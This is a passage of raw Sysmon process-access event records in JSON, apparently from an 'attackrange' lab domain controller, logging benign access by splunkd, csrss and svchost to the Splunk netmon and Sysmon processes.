Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|